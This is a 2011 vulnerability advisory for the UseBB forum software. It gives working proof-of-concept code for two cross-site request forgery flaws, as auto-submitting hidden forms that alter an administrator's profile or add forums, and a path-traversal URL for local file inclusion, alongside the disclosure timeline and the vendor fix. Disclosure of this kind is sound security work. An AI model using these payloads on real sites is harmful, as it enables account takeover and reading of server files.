Multiple Vulnerabilities in UseBB
| Advisory ID: | HTB22913 |
| Product: | UseBB |
| Vendor: | UseBB |
| Vulnerable Versions: | 1.0.11 and Probably Prior Versions |
| Tested Version: | 1.0.11 |
| Advisory Publication: | March 22, 2011 [without technical details] |
| Vendor Notification: | March 22, 2011 |
| Public Disclosure: | April 5, 2011 |
| Latest Update: | April 14, 2011 |
| Vulnerability Type: | Cross-Site Request Forgery [CWE-352]
PHP File Inclusion [CWE-98] |
| Risk Level: | High |
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| CVSSv2 Base Scores: | 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
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Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in UseBB which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) vulnerabilities in UseBB
1.1 The vulnerability exists due to insufficient validation of the request origin in panel.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://[host]/panel.php?act=editprofile" method="post" name="main" id="main">
<input type="hidden" name="displayed_name" value="123">
<input type="hidden" name="real_name" value="">
<input type="hidden" name="avatar_remote" value="">
<input type="hidden" name="birthday_month" value="">
<input type="hidden" name="birthday_day" value="">
<input type="hidden" name="birthday_year" value="">
<input type="hidden" name="location" value="">
<input type="hidden" name="website" value="">
<input type="hidden" name="occupation" value="">
<input type="hidden" name="interests" value="">
<input type="hidden" name="signature" value="">
<input type="hidden" name="email" value="test@test.com">
<input type="hidden" name="msnm" value="">
<input type="hidden" name="yahoom" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="jabber" value="">
<input type="hidden" name="skype" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify forum settings.
Exploitation example:
<form action="http://[host]/admin.php?act=forums&do=add" method="post" name="main" id="main">
<input type="hidden" name="name" value="123">
<input type="hidden" name="cat_id" value="1">
<input type="hidden" name="descr" value="">
<input type="hidden" name="status" value="1">
<input type="hidden" name="moderators" value="">
<input type="hidden" name="increase_post_count" value="1">
<input type="hidden" name="auto_lock" value="">
<input type="hidden" name="auth0" value="0">
<input type="hidden" name="auth1" value="0">
<input type="hidden" name="auth2" value="0">
<input type="hidden" name="auth3" value="0">
<input type="hidden" name="auth4" value="0">
<input type="hidden" name="auth5" value="0">
<input type="hidden" name="auth6" value="0">
<input type="hidden" name="auth7" value="0">
<input type="hidden" name="auth8" value="0">
<input type="hidden" name="auth9" value="0">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
2) Local files inclusion weakness in UseBB
The weakness exists due to insufficient sanitation of input data in the "act" parameter in admin.php. A malicious user with administrator privileges can include and execute arbitrary files on the target system
Exploitation example:
http://usebb/admin.php?act=/../../config |
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Solution: |
Upgrade to UseBB 1.0.12.
More Information:
http://www.usebb.net/community/topic-2571.html
http://sourceforge.net/projects/usebb/files/UseBB%201/1.0.12/usebb-1.0.12-relnotes.txt/view |
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References: |
[1] High-Tech Bridge Advisory HTB22913 - https://www.immuniweb.com/advisory/HTB22913 - Multiple Vulnerabilities in UseBB
[2] UseBB - usebb.net - UseBB is a light and Open Source PHP 4 and MySQL based forum package, distributed freely under the GPL license.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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